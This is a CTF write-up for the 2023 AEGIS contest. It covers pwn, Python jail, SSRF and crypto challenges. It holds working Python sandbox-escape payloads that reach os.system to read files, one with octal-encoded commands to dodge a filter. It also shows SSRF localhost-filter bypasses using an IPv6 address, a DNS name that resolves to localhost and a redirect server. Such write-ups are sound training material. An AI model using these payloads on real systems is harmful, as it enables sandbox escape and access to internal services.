Skip to content

Latest commit

 

History

History
431 lines (312 loc) · 11.1 KB

神盾杯_2023.md

File metadata and controls

431 lines (312 loc) · 11.1 KB

神盾盃 2023

no_brainer

卡在read不夠多字沒辦法用printf弄出canary中

from pwn import *

context.arch = 'amd64'
context.log_level = 'DEBUG'

r = process('./No_Brainer')
gdb.attach(r,'b *main+0xdb \n b *main+0x124',api=True)

command = b'Yvette\n%p%p%p%pV\x01'
r.sendafter(b'Name:',command)
command = b'kkkkkkkk'*2+b'\x00'+b'k'*(6582)+b'\n'
r.sendafter(b'you going: ',command)

r.interactive()

Misc

Hidden Sheet

用 Regular Expression 搜尋隱藏的工作表 "flag"

AEGIS{G00gl3_5h33t5_15_v3Ry_p0Pul4r}

Jail1

__import__('os').system('cat f*')

AEGIS{600d_j0b_70_byp455_fl46}

jail2

pyjail bypass by mro

''.__class__.mro()[1].__subclasses__()[-4].__init__.__globals__['system']('cat flag.txt')

.__class__.mro()[1].__subclasses__()[-4] will give us the os._wrap_close

if we got os._wrap_close, we can use the code in this writeup to execute the command

AEGIS{und3rl1n3_c4n_d0_4_l07_7h1n65}

jail3

:::spoiler Source Code

while True:
    ip = input("AEGIS> ")
    if 'hint' in ip:
        print(__import__('os').system('cat jail.py'))
        exit()
    try:
        if any (i in 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ' for i in ip):
            print("I don't like any \"LETTER\"!")
            continue
        print(eval(ip, {"__builtins__": {}}, {"__builtins__": {}}))
    except Exception as error:
        print("ERROR:", error)
        print("Good luck next time!")
        pass

:::

use unicode character to bypass restriction in ''.__class__.mro()[1].__subclasses__()[-4].__init__.__globals__

accroding to this artical, we can use octal number to bypass 'system' and 'cat flag.txt' restrict

''.__class__.mro()[1].__subclasses__()[-5].__init__.__globals__["\163\171\163\164\145\155"]("\143\141\164\40\146\154\141\147\56\164\170\164")

AEGIS{w3ll_d0n3_637_d474_15_u53ful}

Jail Final

賽後五分鐘解出來 永遠的痛 (

:::spoiler

limit = 70

i = input("AEGIS> ")[:71]
if 'hint' in i:
    print(__import__('os').system('cat jail.py'))
    exit()
if len(i)>limit:
    print(f"You've entered too many characters. The maximum limit is {limit}.")
    exit()
try:
    print(eval(i, {"__builtins__": {}}, {"__builtins__": {}}))
except Exception:
    print("Good luck next time!")
exit()

::: 拔掉 builtins 之後限制 70 個字 接下來就是枯燥的把所有 subclasses 底下的 module 全部拉出來測 最後會抓到 externalFileloader 他可以讀擋 就降 :(

carcar

string -> hex decode -> map position to image

#!/usr/bin/python3.10

from PIL import Image

# open a new image

img = Image.new("RGB", (300 , 100), "white")
img = img.convert("RGB")
data = [(35,23),...
for i in data:
    img.putpixel(i, (0,0,0))

img.save("sol.png")

AEGIS{CUTE_SHIROMO}

Web

baby_goSSRF1

use ipv6 bypass localhost blacklist filter

the regex filter is broken. we don;t relly need an .com.tw domain to solve this challenge. Also, it doesn't check that the url must be the begin, so we can put it in the payload part

there is also 1 pitfall, the & symbol will become the payload of /api, not for the localhost. So we need to url encode it

http://35.229.233.189:8081/api?url=[::]:80/?cmdid=2%26bluh=a2comatw

AEGIS{1_w1ll_c0m3_b4ck_f0r_r3v3n63}

baby_goSSRF2

The second challenge add : into localhost blacklist filter. So we can't use ipv6 to bypass

After doing some search, it can be found some malicious DNS record which will point to localhost, for example: spoofed.burpcollaborator.net

localhost bypass

http://35.221.231.200:8082/api?url=spoofed.burpcollaborator.net/?cmdid=2%26bluh=a2comatw

After get the flag, we need to remove the ' in it

AEGIS{y0u_c4n7_d0_7h15_70_m3}

baby_goSSRF3

The challenge don't let us add the param to the localhost

make a redirect server to redirect to localhost with cmdid

import os
from flask import Flask,redirect

app = Flask(__name__)

@app.route('/')
def hello():
    return redirect("http://localhost/?cmdid=2", code=302)

if __name__ == '__main__':
    app.run(host='0.0.0.0', port=5000)
http://35.201.250.16:8083/api?url=eac2-140-113-87-246.ngrok-free.app/?bluh=a2comatw

AEGIS{h0w_0n_34r7h_d1d_y0u_d0_7h47_?}

Crypto

peko

:::spoiler Source Code

import random
import string
import itertools

pekoS = []

for peko in itertools.product(['P', 'p'], ['E', 'e'], ['K', 'k'], ['O', 'o']):
    pekoS.append(''.join(peko))
random.shuffle(pekoS)

with open('message.txt', encoding='utf8') as f, open('message.peko', 'w') as o:
    peko = ''
    for c in f.read().lower():
        if (c in string.ascii_letters):
            for x in c.encode().hex():
                peko += pekoS[int(x, 16)]
        else:
            peko += c
    o.write(peko)

with open('flag.txt', encoding='utf8') as f, open('flag.peko', 'w') as o:
    flag = f.read()
    assert len(flag) == 62
    peko = ''
    for p in flag:
        for i in f"{ord(p):04x}":
            peko += pekoS[int(i, 16)]
    o.write(peko)

:::

很簡單但是處理很麻煩的題目 給 message.peko 滿明顯就是要做詞頻 而且他是用 random map hex 的方式混淆 所以先做單位的處理 接著兩位一組轉成一個隨機英文字

:::spoiler Frequency analysis

#!/usr/bin/python3.10

import itertools 
import random
import string
import itertools

pekoS = []

for peko in itertools.product(['P', 'p'], ['E', 'e'], ['K', 'k'], ['O', 'o']):
    pekoS.append(''.join(peko))

def clean(m):
    return m.replace(".", "").replace(" " , "").replace("'", "").replace(",", "").replace("\"", "").replace("-", "").replace(")", "").replace("(", "")

sets = "0123456789abcdef"

# return pekos into hex
dire = {}
for i in range(16):
    dire[pekoS[i]] = sets[i]

m = open("message.peko", "r").read()

for i in range(16):
    m = m.replace(pekoS[i], sets[i])

# map hex to random ascii
new = set([clean(m)[i:i+2] for i in range(0, len(clean(m)), 2)])
rep = random.sample(string.ascii_lowercase, len(new))
new_m = ' '.join([clean(m)[i:i+2] for i in range(0, len(clean(m)), 2)])
for i in range(len(new)):
    new_m = new_m.replace(list(new)[i], rep[i])

print(dire)
print(clean(m))
print(new_m.replace(" ", ""))

:::

做完之後丟到 Guballa 可以拿到原文 如果做詞頻分析怕東西不准可以找看看原文 https://virtualyoutuber.fandom.com/wiki/Usada_Pekora

接著更麻煩的把兩邊資訊對上 就可以拿到 flag 了 而且這題很哭得是不可以因為 {:04x} 自己聰明把 pekOpekO 拔掉 會害你被 flag 誤導

:::spoiler Reverse mapping

#!/usr/bin/python3.10

import itertools 
import random
import string
import itertools
from Crypto.Util.number import long_to_bytes

def clean(m):
    return m.replace(".", "").replace(" " , "").replace("'", "").replace(",", "").replace("\"", "").replace("-", "").replace(")", "").replace("(", "")

pekoS = []
peko = {'peKo': '0', 'Peko': '1', 'pEkO': '2', 'peko': '3', 'PEKo': '4', 'peKO': '5', 'PekO': '6', 'pEKO': '7', 'pEKo': '8', 'PEko': '9', 'PEkO': 'a', 'PeKo': 'b', 'PEKO': 'c', 'pekO': 'd', 'PeKO': 'e', 'pEko': 'f'}

new = "pekorahailsfromthenationofpekolandwheresheclaimssheisamemberofroyaltywhilenotmuchiscurrentlyknownaboutpekolanditisassumedthatitsdenizensarelikepekoraanimalshumanswithrabbitearsandcomparativelylonglifespansandthattherabbitmotifapparentinpekorasfashionandaccessoriesissignificanttotheircultureaccordingtopekorapekoistheonlywordinthepekolandishlanguageinlinewithherclaimsofaroyalupbringingpekoraspersonalitycanbedescribedasoutwardlybrattyhaughtyimmatureandsurlybutgenuinelyplayfulandfriendlybutwhennotoncamerashehasbeennotedbyotherhololivegirlsaspoliteandshytoasshedoesntlikepeopleinherspaceaswellasonetointernalizeherpainasnotedbyhoushoumarinewhichendedupprematurelyendingoneofherstreamswithherintears"
m = open("./message.peko", "r").read()
flag = open("./flag.peko", "r").read()#.replace("pekOpekO", "")
m = clean(m)

assert len(new) * 2 == len(m) // 4
new = new.encode().hex()

new_map = {}
m = [m[i:i+4] for i in range(0, len(m), 4)]
for i in range(0, len(new)):
    if new[i] not in new_map:
        new_map[m[i]] = new[i]
print(new_map)

s = ""
flag = [flag[i:i+4] for i in range(0, len(flag), 4)]
for i in range(0, len(flag)):
    s += new_map[flag[i]]

flag = ""
for i in range(0, len(s), 4):
    flag += chr(int(s[i:i+4], 16))
print(f"AEGIS{{{flag}}}")

:::

which_e

:::spoiler Source Code

from SECRET import flag, es
from Crypto.Util.number import *
import random

p = getPrime(1024)
q = getPrime(1024)
n = p*q
e1, e2 = random.choices(es, k=2)
ct1, ct2 = pow(bytes_to_long(flag), e1, n), pow(bytes_to_long(flag), e2, n)

print(f'{n   = }')
print(f'{es  = }')
print(f'{ct1 = }')
print(f'{ct2 = }')

:::

:::spoiler Solve script

#!/usr/bin/python3.10

from string import printable
from Crypto.Util.number import long_to_bytes
from gmpy2 import invert, iroot
from functools import reduce
from Crypto.Util.number import long_to_bytes

exec(open("out.txt", "r").read())

def CRT(r, mod):
    M = reduce(lambda x , y : x * y , mod)

    ans = 0

    for i in range(len(r)):
        m = M // mod[i]
        ans += r[i] * m * invert(m , mod[i])

    return ans % M

#(e1 * a) + (e2 * b) = gcd(e1, e2)
def egcd(a , b):
    if a == 0:
        return (b , 0 , 1)
    else:
        g , y , x = egcd(b % a , a)
        return (g ,x - (b // a) * y , y)

for e1 in es:
    for e2 in es:
        print(e1, e2)
        _ , s1 , s2 = map(int , egcd(e1 , e2))
        flag = (pow(ct1 , s1 , n) * pow(ct2 , s2 , n)) % n
        res = iroot(flag, 3)
        if list(res)[1]:
            print(long_to_bytes(res[0]))
            exit()

:::

pyth-rsa

@sixkwnp 大佬太神啦

$a^2 = (c-b)(c+b)$ $=> c = b+1$ $=> a^2 = 2*b+1$

from out import b1, b2, e, ct
from Crypto.Util.number import *
from gmpy2 import isqrt

c1 = b1+1
c2 = b2+1
a1 = isqrt(2*b1 + 1)
a2 = isqrt(2*b2 + 1)

assert a1**2 + b1**2 == c1**2
assert a2**2 + b2**2 == c2**2
assert a1 < b1 and a2 < b2
assert isPrime(a1) and isPrime(a2)

d = pow(65537, -1, (a1-1)*(a2-1))
m = pow(ct, d, a1*a2)
print(long_to_bytes(m))

AEGIS{py7h460r34n_7r1pl3_1n_r54_UHl0aGF}

Reverse

Kill4